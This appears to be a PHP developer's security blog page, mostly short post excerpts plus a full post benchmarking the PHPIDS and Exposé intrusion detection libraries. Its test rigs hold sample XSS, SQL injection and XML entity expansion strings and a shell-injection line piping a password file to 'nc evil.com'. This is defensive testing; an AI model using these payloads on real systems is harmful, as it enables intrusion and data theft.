Categories
howto security

Hack of the Week: Episode 3: Unknown probe

Yes, I know. It has not been weekly. Since I last posted a lot of script kiddies populated my logs but not with anything all that interesting. Until today.

Categories
security work

Is the CSSLP worth it?

Last week I passed the (ISC)2 Certified Secure Software Lifecycle Professional (CSSLP) exam. Here are some thoughts (not bound by the (ISC)2 NDA):

Cert Types

There are two classes of certification within the (ISC)2 family: member and associate. The only difference between the two is how many years of experience you have in the subject area. For full membership, you need to have 4 years experience in at least 1 of 8 domains. If you have been doing devops for at least 4 years you will most likely be fine. If not, then you can go for the “associate” cert with the understanding that you have 5 years to gain that experience.

Summary: If the reason you are getting this cert is to have some letters on your resume, you might want to just go for the associate level. Who knows where you will be in 5 years.

Preparation

Option 1: Experience

This cert focuses on security aspects in the full lifecycle of “enterprise” application development (read: .Net/Java). Honestly, I do not believe that my 18+ years of PHP development would have prepared me to pass this test, even though I had several years of Java dev in the midst. There were too many questions on processes, Microsoft, Java, and acronyms. My three years in the infosec arena certainly helped, but did not cover all the bases.

Option 2: Official Training  = High cost / Low risk

If you prefer live training, want to make dead sure you pass the test, and you have $2695 laying around, you can take (ISC)2’s official week-long trainings.  The also have self-study classes from $99 up to $695. If your company wants to pay for this, awesome! Good luck with that. (ISC)2 also has CSSLP Flash Cards on their website, but in my case they only represented about 60% of the concepts on the exam I took.

Option 2: Job training portals = Low cost  / Medium risk

Through my office, I was able to take the free FedVTE online CSSLP training. The 20-hour series of videos from CMU were great as an overarching review of security practices (when they say 20 hours they really mean 30+ hours). I feel that these trainings only provide a 60% solution. The information is great and highly recommended, but if your goal is passing, it won’t be enough by itself.

Looking back I also had access to the CSSLP resources on Skillport/Skillsoft. Make sure to check your company offerings.

Option 3: Read the book

There are several books out there purporting 90% passing rates. Looking at the comments on the latest official (ISC)2 offering will not give you much hope of passing. Not being too confident in scope of the FedVTE Computer Based Test (CBT) class, I purchased Conklin’s CSSLP Certification All-in-One Exam Guide. Similar to the CBT, the material covered was broad but still did not cover all the areas of the test. The Microsoft specific areas of the book were definitely helpful, coming from a Linux world.

Summary: GetConklin’s book. If you are on a budget, use the official (ISC)2 training and books as a last resort.

Exam

Time: You have 4 hours to complete 175 multiple choice questions at a Pearson Vue center. I managed to finish in under 90 minutes. ie. You have plenty of time to read each question carefully.

Content: As a CBT, each persons’ exam should be different, so YYMV. Although the practice exams got me a bit scared, I did not encounter any “Which of these 4 ISO standards is the right one?” A fair number could be solved just by process of elimination. Having the years of experience certainly helped with a number of questions that the CBT and books overlooked.

Passing: I was surprised when I first looked at this test, as you only need a 70% to pass. Part of that may be the fact that the test is “a mile wide and an inch deep“.

Completion

Unlike certifications you might be used to, (ISC)2 and some others require you to be endorsed by someone who is an active (ISC)2 member in good standing. Hopefully you already know someone who is a member and can vouch that you have the required professional experience. In a couple weeks that should be me as well.

Prospects & Alternatives

A search today on some of the more popular boards reveals job postings for CSSLP professionals.

These numbers are not all that great, especially since I did not place a geographical restriction on the search.

There are many other security related certificates out there. CASP, CISSP, GWEB, and CEH are some of the more well known.Though some colleagues believe the value has been watered down in recent years, there are over 10x more jobs requiring a CISSP certificate. In many postings where CSSLP shows up, it is paired with one of these other more well known options.

Summary: If you are getting this to find a new job, other certs have more flexibility.

Value

Cost: Certs are not cheap. The CSSLP exam costs $595, plus, to keep your cert active, you must pay $100 and receive 30 Continuing Professional Education (CPE) credits per year. Training can be expensive as well. If your company is willing to pay for it, great! Out of pocket, ouch.

Visibility: This is not a well known cert. Despite the (ISC)2 website saying “CSSLP Named #1 Tech Cert that is Paying Off by Foote Partners” (for the first half of 2014), the job market says otherwise. Granted, it is no longer 2014 so perhaps it did pay off for 6 months.

Credits: Many certs these days require you to receive CPE credits to stay “active”. I plan on using the CSSLP as 50 CPE credits to renew my Security+ cert.

Usefulness: This cert material is useful, especially if you do not have a formal CS degree, or you are moving more toward leading teams or project management. It is a SDLC focused cert after all. There was a broad mix of useful security practices, “enterprise” situations, and supply chain considerations. At the very least, government recruiters like to see tons of certs on resumes.

Conclusion

It seems that certain people (especially government related entities) think the only way a person can know material is if they have paper proof. If you are looking to switch toward the security industry but lack the experience, I would check out the Security+ exam first.  Several government agencies will accept that as proof that you know enough security to get in the door. If you already have 5+ years in infosec, go for the CASP or CISSP instead. They both have broader visibility. However, if you are a PHP developer and plan on working just for PHP companies, the ZCE is a much better place to start, with its lower upfront cost and no yearly maintenance fee.

Categories
howto security

Basic Intrusion Detection with Expose

I totally forgot to mention that I was published in the September edition of phpArchitect. Not only that, you can download my article for free. Head on over to https://www.phparch.com/magazine/2015-2/september/ to grab your copy. If you missed my php[world]15 talk, this will get you up to speed.

Categories
howto security talk

php[world] Talks: Migrating Data to D8 / Basic IDS with Expose

I had the privilege to present two talks at php[world]15 this week.

Categories
work

ZCE Complete

I finally got off my rear and took the Zend Certified PHP Engineer test. And Passed. I took the PHP 5 CE test way back in 2007, so I figured it was about time to refresh things. Right before PHP 7.

Categories
howto security

Legacy app first pass security

Inheriting a legacy app can be an adventure. Sometimes it can be much more than that. Trying to securely lock down a legacy app can be a much larger prospect. Here is a “quick” first pass recommendation.

Categories
security talk

php[tek]14 Basic Intrusion Detection Slides

Here is the slide deck for my talk on Basic Intrusion Detection With PHPIDS. If you attended, please provide feedback at Joind.in

Categories
howto security

IDS Showdown: PHPIDS vs Exposé

Many years ago I stumbled upon PHPIDS and began incorporating it into all the systems that I built. I wanted to have an extra layer of intel into who was accessing my systems. Last year, at php[tek]13, @enygma started building Exposé, an alternate IDS, based upon the same rulesets as PHPIDS (perhaps motivated by my uncon talk). After making a few meager contributions myself, I decided to see how the two stacked up.

Setup

First, lets get two clean copies of each library from github using composer.

mkdir exposetest
cat > exposetest/composer.json <<COMPOSER
{
  "require":{
    "enygma/expose":"dev-master"
  },
  "minimum-stability" : "dev"
}
COMPOSER
mkdir phpidstest
cat > phpidstest/composer.json <<COMPOSER
{
  "require":{
    "PHPIDS/PHPIDS":"dev-master"
  },
  "minimum-stability" : "dev"
}
COMPOSER
cd exposetest && composer install
cd ../phpidstest && composer install
#get the default config and filters to where PHPIDS can read them
cp vendor/phpids/phpids/lib/IDS/Config/Config.ini.php vendor/phpids/phpids/lib/IDS/default_filter.xml .
#give PHPIDS somewhere to write its cache
mkdir tmp
cd ..

Once that is done, you will notice that exposé has three dependencies, whereas PHPIDS only has one. Currently, exposé follows the PSR-2 and PSR-3 standards, whereas PHPIDS does not. PSR-3 support makes a difference if you want to simply drop in your own logger instead of the default.

Test Scripts

Ok, back to testing. Lets set up a basic set of possibly malicious code for each library to parse, and use the recommended default install for each. A couple of the chosen test elements reference back to the default filter sets provided by PHPIDS, so we know something will trigger. Starting with the venerable PHPIDS, make an index.php in phpidstest:

//PHPIDS TEST RIG
require 'vendor/autoload.php';

/* testing set */
$data = array(
    '1' => 'bah"></a>',    //rule 1: html escape
    '21' => '%22+onMouseOver%3D%22alert%28', //rule 21: basic XSS probings
    '3' => '>aabbcc</abc>', //rule 3: finds unquoted attribute breaking injections
    '4' => '<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>',
    '5' => '<IMG SCR=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>',
    '6' => '<iframe src=http://ha.ckers.org/scriptlet.html <',
    '7' => '<<SCRIPT>alert("XSS");//<</SCRIPT>',
    '8' => '<<SCRIPT>prompt("XSS");//<</SCRIPT>',
    '9'=>'<SCRIPT>String.fromCharCode(97, 108, 101, 114, 116, 40, 49, 41)</SCRIPT>',
    '10'=>"';alert(String.fromCharCode(88,83,83))",
    '11'=>'<IMG SRC=&amp;amp;#106;&amp;amp;#97;&amp;amp;#118;&amp;amp;#97;&amp;amp;#115;&amp;amp;#99;&amp;amp;#114;&amp;amp;#105;&amp;amp;#112;&amp;amp;#116;&amp;amp;#58;&amp;amp;#97;&amp;amp;#108;&amp;amp;#101;&amp;amp;#114;&amp;amp;#116;&amp;amp;#40;&amp;amp;#39;&amp;amp;#88;&amp;amp;#83;&amp;amp;#83;&amp;amp;#39;&amp;amp;#41;>',
    '76'=>'union select from',
    'xmlexp'=>'<!DOCTYPE root [<!ENTITY a "Ha !">]><root>&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;</root>',
    'shell'=>'foo || cat /etc/password | nc evil.com',
);

$loops = 1;  //for later

$start = time();
for ($i=0;$i<$loops;$i++){
    foreach($data as $key=>$datum){
        $s = time();

	$init = \IDS\Init::init('./Config.ini.php');
	$ids = new \IDS\Monitor($init);
	$result = $ids->run(array('POST'=>array($key=>$datum)));
        echo $key.":\t".$result->getImpact()."\t".(time()-$s)."\n";
        clearstatcache();
    }
}
$end = time();

echo "Elapsed: ".($end-$start)."\n";

And now exposé. By default exposé wants to use a Mongo logger, but we can toss in the MockLogger instead. Once again make an index.php in exposetest:

require 'vendor/autoload.php';
require 'vendor/enygma/expose/tests/MockLogger.php';  //use a mock so we don't have to worry about Mongo

/* testing set */
$data = array(
        '1' => 'bah"></a>',    //rule 1: html escape
        '21' => '%22+onMouseOver%3D%22alert%28', //rule 21: basic XSS probings
        '3' => '>aabbcc</abc>', //rule 3: finds unquoted attribute breaking injections
        '4' => '<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>',
        '5' => '<IMG SCR=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>',
        '6' => '<iframe src=http://ha.ckers.org/scriptlet.html <',
        '7' => '<<SCRIPT>alert("XSS");//<</SCRIPT>',
        '8' => '<<SCRIPT>prompt("XSS");//<</SCRIPT>',
        '9'=>'<SCRIPT>String.fromCharCode(97, 108, 101, 114, 116, 40, 49, 41)</SCRIPT>',
        '10'=>"';alert(String.fromCharCode(88,83,83))",
        '11'=>'<IMG SRC=&amp;amp;#106;&amp;amp;#97;&amp;amp;#118;&amp;amp;#97;&amp;amp;#115;&amp;amp;#99;&amp;amp;#114;&amp;amp;#105;&amp;amp;#112;&amp;amp;#116;&amp;amp;#58;&amp;amp;#97;&amp;amp;#108;&amp;amp;#101;&amp;amp;#114;&amp;amp;#116;&amp;amp;#40;&amp;amp;#39;&amp;amp;#88;&amp;amp;#83;&amp;amp;#83;&amp;amp;#39;&amp;amp;#41;>',
        '76'=>'union select from',
        'xmlexp'=>'<!DOCTYPE root [<!ENTITY a "Ha !">]><root>&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;</root>',
        'shell'=>'foo || cat /etc/password | nc evil.com',
);

$loops = 1;  //for later

$start = time();
for ($i=0;$i<$loops;$i++){
    foreach($data as $key=>$datum){
        $s=time();
        $filters = new \Expose\FilterCollection();
        $filters->load();
        $logger = new \Expose\MockLogger();
        $manager = new \Expose\Manager($filters, $logger);
        $manager->run(array('POST'=>array($key=>$datum)));
        echo $key.":\t".$manager->getImpact()."\t".(time()-$s)."\n";
        clearstatcache();
    }
}
$end = time();

echo "Elapsed: ".($end-$start)."\n";

Comparing Threat Levels

Our first test run is to check to see how exposé and PHPIDs rate each threat. We just run “php index.php” in each folder and compare. Simple.

Impact Results:

  Test  PHPIDS exposé
   1:     11     4
  21:      3     3
   3:      2     2
   4:     51     5  *
   5:      9     5
   6:     13    13
   7:     29    18
   8:     29    18
   9:     24     0  *
  10:     32    13  *
  11:     11     0  *
  76:     20    20
  xmlexp: 16    11  *
  shell:  10    10

As a rule of thumb, I have set my impact threshold around 12. You would need to tune the value to your specific environment and requirements. As you can see here, there are 5 specific tests that differ significantly (within my threshold):

  • 4 & 11: Obfuscation of an image source path
  • 9 & 10: fromCharCode js obfuscation
  • xml entity expansion

Resource Test

Both of these basic tests run in a blink of the eye. Altering the $loop parameter to 1000, we start to see a bit of a speed difference between the two engines.

PHPIDS: 28s 
exposé: 32s

In both cases, the script pegged one CPU. Memory usage did not vary significantly.

Both libraries churn through these simple example tests. How about a real world example?

Maliciousness

I have collected a few particularly nasty exploits recently. Some drop a shell code browser on your box. Others are more full featured with included SQL browsers. So, I decided to put PHPIDS and exposé to a more rigorous test. In this example I tested a 27k long mystery string which would normally be converted with eval(gzinflate(base64_decode(EVILNESS))) into “lulz u r p0wnd” nastiness. Here are the results (using only 10 loops instead of 1000):

Library  Impact   Speed
PHPIDS    47       141s
exposé    18        26s

PHPIDS winds up being a lot slower on this known bad vector, yet it gives us a much higher impact level. This is primarily due to the PHPIDS “Centrifuge” which does additional black magic behind the scenes.

Conclusion

In the realm of an inline PHP IDS, we are left with the triad of: sensitivity, selectivity, and performance. High sensitivity allows for better detection of threats. Higher selectivity (or spread in the impact levels) allows for better separation of threat risk. These two directly effect the performance/thoughput. PHPIDS and exposé have differing sensitivity levels, meaning you may have to lower your threshold for the same amount of detection. The lower your impact threshold, the more noise (and email alerts) you will encounter. And finally, both will have a performance hit, but PHPIDS more so due to the higher sensitivity.

exposé is a great new entry to the very small world of PHP based intrusion detection. It is up to the latest PHP coding standards, will easily integrate with existing systems, and shows excellent promise. It has several other features of note, like an offline processing queue, that you should check out. If you tune your impact thresholds a bit lower, you can get roughly the same detection with some performance gain, however it did miss the mark on a couple specific threats. When it comes to larger and more complicated nastiness, PHPIDS’s Centrifuge provides a more thorough breakdown of the intrusion attempt.

If you are not already monitoring your logs, you need to start. Perhaps PHPIDS or exposé can move you in that direction. Happy coding, and keep your websites safe!

Categories
howto work

Taking Flight with AngularJs

Lately at work we have been getting into the Flight PHP framework for simple REST-like services with an AngularJS front end. We have had to do a bit of juggling however to get one of the nicer AngularJS features to work: “html5Mode”. Here is what we did.

Categories
security

PHP SuperGlobals: Imperva blowing smoke

Earlier this week, Imperva Data Security Blog posted an article and whitepaper by Amichai Shulman lamenting the continued evils of PHP as a language because of the use of “SuperGlobals”. Here are a few reasons why the article is FUD.